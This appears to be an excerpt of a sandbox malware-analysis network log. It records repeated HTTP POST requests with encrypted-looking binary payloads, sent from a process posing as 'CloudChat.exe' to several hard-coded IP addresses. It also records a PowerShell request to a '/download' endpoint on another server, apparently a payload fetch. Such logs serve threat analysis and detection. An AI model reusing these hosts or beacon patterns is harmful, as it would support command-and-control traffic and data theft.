Sep 30, 2024 12:20:54.985183954 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 f0 96 25 ab 64 ba fa 66 34 00 00 00 ed 35 cd ee 0d e9 4e 5d f9 f5 c4 bc 1e e4 0f 6d 37 db 00 00 a6 b5 45 b6 da ff 30 b9 8c 7e 19 69 23 0d 9a 00 0d f5 0d f8 f9 2f 27 9d d0 65 13 cb 93 ca 00 00 Data Ascii: %df45N]m7E0~i#/'e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49958	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:55.087790012 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:55.092905045 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 14 94 11 c7 64 ba fa 66 34 00 00 00 ed 35 cd ee 0d bc b5 99 54 a4 4f c7 9d d1 b0 29 c0 d1 00 00 36 9f e4 88 24 10 5a e2 9a e1 50 d5 7e 23 21 72 0d 5c 7e e1 5e bd b3 c9 0f 92 07 3c 12 e3 00 00 Data Ascii: df45TO)6$ZP~#!r\~^<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49961	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:55.181273937 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:55.186168909 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 a8 bf fd 1c b7 bc fa 66 34 00 00 00 ed 35 cd ee 0d 98 52 1f b4 02 af 79 66 97 6a ce 94 6c 00 00 1a d7 bf 7c 9e 0b 31 6b 0d 18 a5 2a 78 ef 92 3f 0d e9 10 a5 a4 9d 77 64 72 7f aa a3 3b 52 00 00 Data Ascii: f45Ryfjl\|1k*x?wdr;R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49965	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:55.291192055 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:55.296487093 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 10 4e ff 5a 09 bf fa 66 2c 00 00 00 ed 35 cd ee 09 89 fe ed 94 e8 53 8d e2 35 00 00 88 3c 12 18 76 2b cf bb 88 45 f1 c8 5a 8e ce 3e 09 55 80 d5 41 ec ec 5c d5 ac 00 00 Data Ascii: NZf,5S5<v+EZ>UA\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49968	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:55.402268887 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:55.409823895 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 2c f4 c8 78 5b c1 fa 66 34 00 00 00 ed 35 cd ee 0f 44 e7 3a 0e 2e e3 76 da da db c6 74 3f d4 3d 99 ee a6 e6 87 a6 0b 5b 12 a7 6a 53 4b 7f fb 0e 0f f6 3c d9 20 c7 2f a3 8e 67 5f 58 06 9f 9b 44 Data Ascii: ,x[f45D:.vt?=[jSK< /g_XD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49972	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:55.515234947 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:55.520104885 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 94 c7 56 7b ad c3 fa 66 54 00 00 00 ed 35 cd ee 1f 26 ea a1 9a 5d f8 bf 8c 14 bf 5d 7a 03 2e 57 89 2b 25 9f f4 7a 7d 24 26 27 e3 62 01 4d be 8e cb 7b a0 be 29 06 7f 83 10 c6 cb 08 2a b7 38 60 1f 1e f6 a3 b5 56 c0 ed 36 ce Data Ascii: V{fT5&]]z.W+%z}$&'bM{)*8`V6U.QQJ{=bOX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49975	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:55.626950979 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:55.632155895 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 70 c0 b6 5c ff c5 fa 66 4c 00 00 00 ed 35 cd ee 1a 69 5e df 2c 64 d9 9c 79 8f 2e 3f 01 21 38 d7 73 e5 e6 a3 06 a2 af 75 79 39 dc 00 39 bd 58 4e 48 a4 3c 59 55 8c 05 05 5e 57 51 bf 1a a8 6b 65 9a f1 42 99 9c c9 38 8f fc 76 Data Ascii: p\fL5i^,dy.?!8suy99XNH<YU^WQkeB8vo#91hN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49979	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:55.801783085 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:55.806777000 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 3c 85 4b 31 51 c8 fa 66 2c 00 00 00 ed 35 cd ee 0a 04 ac 63 2d 40 cc 11 3a 78 81 00 7f 9c ba eb 56 35 73 25 1b 8f f6 d8 ca 3e 9a f3 0a 71 47 7f 3c 1c ac c1 cb 4a 80 00 Data Ascii: <K1Qf,5c-@:xV5s%>qG<J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49984	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:56.057339907 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49990	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:56.229491949 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:56.234363079 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 cc 1e 8e e2 45 cf fa 66 4c 00 00 00 ed 35 cd ee 1a d0 5f 98 e1 7a 29 a3 f5 6c cd 54 8d 41 8e d2 45 69 ac a4 59 0c c1 27 00 af ec 00 8f 6d 58 5a d5 c0 65 da 94 ed c4 47 72 aa 8e ef 1a a3 be 18 b6 2a 66 21 e9 cc e8 36 5a e0 Data Ascii: EfL5_z)lTAEiY'mXZeGr*f!6Z-?B[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49994	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:56.327572107 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:56.332539082 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 f8 6b 4c 01 97 d1 fa 66 2c 00 00 00 ed 35 cd ee 0a 03 76 ad 49 2a 32 d7 dc 54 46 00 fd c7 3d 23 a3 89 a2 81 1b 64 d0 2a 11 f6 fc e5 0a 60 ca fa 80 53 76 5e fd 16 6f 00 Data Ascii: kLf,5vI2TF=#d`Sv^o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49997	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:56.437959909 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:56.442734003 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 5c 53 a5 c3 84 7b fa e6 34 00 00 00 ed 35 cd ee 0c 23 1f 62 e8 88 56 70 ff 36 94 c4 3d 00 00 00 f2 28 3f a6 4f 5b 68 4b 42 42 2e 94 cd 92 c4 48 0c 32 8d 40 65 ef 79 0a f7 e9 c2 a0 3d 00 00 00 Data Ascii: \S{45#bVp6=(?O[hKBB.H2@ey=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49998	185.196.10.235	50001	2788	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:56.532262087 CEST	188	OUT	GET /download?name=user-PC HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 185.196.10.235:50001 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50002	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:56.545068979 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:56.549869061 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 64 53 a5 c3 84 7b fa e6 4c 00 00 00 ed 35 cd ee 1a a2 f8 89 ad 6b 79 f3 31 cd 56 60 8e 7a 97 55 6c 3e db a6 8c ef 29 39 a7 98 15 00 3b b2 e7 c4 c3 c7 c8 91 b3 23 f6 56 bd 77 7f cb 1a cf 7b 4c b8 64 51 5a c8 65 d2 4c a8 d8 Data Ascii: dS{L5ky1V`zUl>)9;#Vw{LdQZeLzJ-%]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50005	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:56.659959078 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:56.664978027 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 6c 53 a5 c3 84 7b fa e6 4c 00 00 00 ed 35 cd ee 1b c8 3b 59 29 0d a6 98 af 59 51 f9 cc 69 28 73 53 80 ef dc e9 32 a9 26 19 bc 50 7e 94 06 58 b8 10 29 31 37 b4 eb 35 95 7d 72 dc f8 1b f8 62 2a c6 d8 68 04 ed 10 d9 de 0b 45 Data Ascii: lS{L5;Y)YQi(sS2&P~X)175}rb*hE=)4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50009	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:56.758927107 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:56.763710022 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 74 53 a5 c3 84 7b fa e6 44 00 00 00 ed 35 cd ee 14 e1 d2 d7 47 c7 20 85 aa 83 88 8b f7 22 df f5 0b 46 e4 e8 ec 00 00 00 24 cd e8 05 18 4a 89 fe 8d 23 95 09 29 f5 1c 2b 14 e8 c2 d9 39 71 4f f4 9d 6f f8 66 a7 7d 3a e0 03 53 Data Ascii: tS{D5G "F$J#)+9qOof}:S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50012	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:56.876801968 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:56.882616997 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 7c 53 a5 c3 84 7b fa e6 44 00 00 00 ed 35 cd ee 14 f3 ae 28 de 47 9c 98 d8 50 c5 6f f4 e4 b5 c1 d7 e2 8b e0 4c 00 00 00 e7 c0 ef ba 66 6c 9e 57 72 03 7e 3b 6b cd 0e 1c 14 82 c9 aa fe e3 46 7e 1f 46 4d 04 26 6e ad e5 c3 70 Data Ascii: \|S{D5(GPoLflWr~;kF~FM&np=b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50015	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:56.980578899 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:56.985532045 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 84 53 a5 c3 84 7b fa e6 34 00 00 00 ed 35 cd ee 0e 14 50 05 6f 59 55 e9 fa 53 d7 98 65 7c 47 00 11 b5 bf 75 77 8d 1f e0 2e d3 9e 91 d5 1c f0 e9 0e bb 0a 5c 7c 60 2a 66 c2 c9 6d b3 14 68 43 00 Data Ascii: S{45PoYUSe\|Guw.\\|`*fmhC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50019	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.093916893 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:57.098774910 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 8c 53 a5 c3 84 7b fa e6 54 00 00 00 ed 35 cd ee 1f f5 69 f7 cf 02 dd db 93 4b d4 4c 87 c2 5c f3 1e 57 70 60 a2 cc f5 80 e5 10 95 8d ae 45 a7 6a fe be 75 af b5 10 63 ad 08 9b fe 18 e4 2e df 8a 1f 2c 8d e6 09 78 d5 bc 5b 8c Data Ascii: S{T5iKL\Wp`Ejuc.,x[OYb]^&,Y>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50021	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.165951014 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:57.170815945 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 24 0f 31 e8 cb e1 fa 66 44 00 00 00 ed 35 cd ee 15 b8 bd 66 41 df 98 7b 51 fb 4e f6 3b 6b 79 b1 a4 25 4a d4 26 2c 00 00 e5 49 16 dd 2d 0e 58 1c 2d 6f b1 fd dd 41 c8 e2 15 b1 2f 69 e7 9e 75 c5 8c 5f c8 cb 63 e5 31 e2 0c e9 Data Ascii: $1fD5fA{QN;ky%J&,I-X-oA/iu_c1K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49998	185.196.10.235	50001	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.186877966 CEST	124	IN	HTTP/1.1 403 FORBIDDEN Content-Type: text/html; charset=utf-8 Content-Length: 100 Date: Mon, 30 Sep 2024 10:20:57 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50025	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.202375889 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:57.207279921 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 9c 53 a5 c3 84 7b fa e6 44 00 00 00 ed 35 cd ee 15 10 f7 85 6b cc 2c 80 56 b9 e2 d3 26 fd d6 e4 70 63 ba 1e e9 ad 00 00 bc ff f0 4f d9 21 fc b6 9c 5c c0 2f 20 9b a8 d6 15 b4 b3 0c dc b6 96 ba 81 dd 4f f5 66 58 8e c9 20 8b Data Ascii: S{D5k,V&pcO!\/ OfX %$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50028	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.316862106 CEST	225	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:57.321913004 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 a4 53 a5 c3 84 7b fa e6 54 00 00 00 ed 35 cd ee 1d 78 c7 c9 7c bc de b8 8f b6 fa 14 31 ee 50 a9 95 06 b6 d4 ca 09 80 a1 80 f6 95 cf 28 62 00 00 cf f7 e0 93 c8 b0 1f 26 d0 38 07 66 39 08 fb 5f 1d 20 22 7a 2d 20 32 35 49 59 Data Ascii: S{T5x\|1P(b&8f9_ "z- 25IYa:R\|BP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50032	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.440448999 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:57.446167946 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 ac 53 a5 c3 84 7b fa e6 4c 00 00 00 ed 35 cd ee 1a 25 97 74 12 68 59 c2 c8 30 41 09 72 99 02 2a c7 79 ef c6 41 81 b9 1c 22 37 cc 00 94 48 99 06 ff 91 66 be a8 69 45 1b fc ab 26 87 1a d0 1c aa 0c f4 cd c8 4b 94 d2 54 34 df Data Ascii: S{L5%thY0Ar*yA"7HfiE&KT43l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50035	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.554577112 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:57.559554100 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 b4 53 a5 c3 84 7b fa e6 3c 00 00 00 ed 35 cd ee 13 3d 8e f2 ad 93 2f 97 c7 76 2c ee 15 3d ed c6 b2 1b f4 76 b3 b9 fa a3 36 f1 b7 79 59 ee 9b d3 e6 56 bf b0 13 38 21 9a 5b 57 3f 44 10 1f b6 25 4e 39 8b 15 c0 c5 d3 88 Data Ascii: S{<5=/v,=v6yYV8![W?D%N9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50039	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.678831100 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.21:80
Sep 30, 2024 12:20:57.685005903 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 24 54 a5 c3 84 7b fa e6 54 00 00 00 ed 35 cd ee 1f 81 37 ee 2e a6 2f 97 3d 58 07 4b b5 47 f6 a4 32 8f 1b 6a d2 f1 09 18 28 3f 53 c3 22 ef c9 c7 1a 40 45 f3 36 b5 21 5d 5c c1 fd 23 4f 2c 1f e5 1f 5d 7a ad df d2 09 78 81 6e Data Ascii: $T{T57./=XKG2j(?S"@E6!]\#O,]zxnc0.EG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50042	139.144.164.192	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.798695087 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.192:80
Sep 30, 2024 12:20:57.805419922 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 b0 4c 59 a0 8a 7b fa e6 34 00 00 00 ed 35 cd ee 0e 46 e9 f8 67 90 62 7c f6 9c 97 c5 2e 67 a2 00 ac 10 fd fa 6d 2c d9 a1 60 c3 5a e0 7e 18 32 e4 0e 35 77 da 9f 87 1f 06 ad f7 2a 96 fd 79 53 00 Data Ascii: LY{45Fgb\|.gm,`Z~25w*yS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50044	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.883925915 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:57.891527891 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 74 96 23 b4 8a 7b fa 66 34 00 00 00 ed 35 cd ee 0e 6c c2 be 15 08 0a 9e b8 28 13 4c 3f 51 80 00 da bd 7c fb d0 38 a2 1d 9c 0b e9 a2 18 c7 cc 4f 0e 2e c1 33 45 c3 0b e5 4b 82 37 39 8f 85 39 00 Data Ascii: t#{f45l(L?Q\|8O.3EK799

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50048	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:57.947994947 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:57.952831030 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 c0 4c 59 a0 8a 7b fa e6 34 00 00 00 ed 35 cd ee 0e e4 6e 2a be ad e1 a7 9b f7 c6 7c 72 7d 78 00 f6 bd a6 30 13 09 50 87 c0 62 86 22 ee 1b 7b 94 0e 91 17 28 0a 24 e2 12 cf a9 27 a7 fe c7 8f 00 Data Ascii: LY{45n*\|r}x0Pb"{($'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50051	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:58.013762951 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:58.018835068 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 c8 4c 59 a0 8a 7b fa e6 44 00 00 00 ed 35 cd ee 14 26 e8 fe 6a bb db d7 3e f0 e1 f8 7d 0f 24 5d 31 0e 08 85 01 00 00 00 5d 67 05 4b 78 f2 2f 75 70 05 50 e7 5c c6 aa de 14 31 71 80 be cd aa c9 8f 5c 48 35 5e 52 4b 31 b5 17 Data Ascii: LY{D5&j>}$]1]gKx/upP\1q\H5^RK1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50054	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:58.119537115 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 88 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 66.228.63.175:80
Sep 30, 2024 12:20:58.124358892 CEST	88	OUT	Data Raw: 00 00 00 00 00 00 00 00 d0 4c 59 a0 8a 7b fa e6 44 00 00 00 ed 35 cd ee 17 4a 63 a6 42 b4 2b b2 24 85 2c ce ee 94 40 ef 07 45 4a dd 05 61 56 e6 00 48 9b 71 ab 77 6e f4 73 0a 11 50 f3 68 5c 9f 17 36 2e ee e1 68 3f 81 19 04 1e 7c f2 ee 42 69 35 3d Data Ascii: LY{D5JcB+$,@EJaVHqwnsPh\6.h?\|Bi5=FdR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50058	66.228.63.21	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
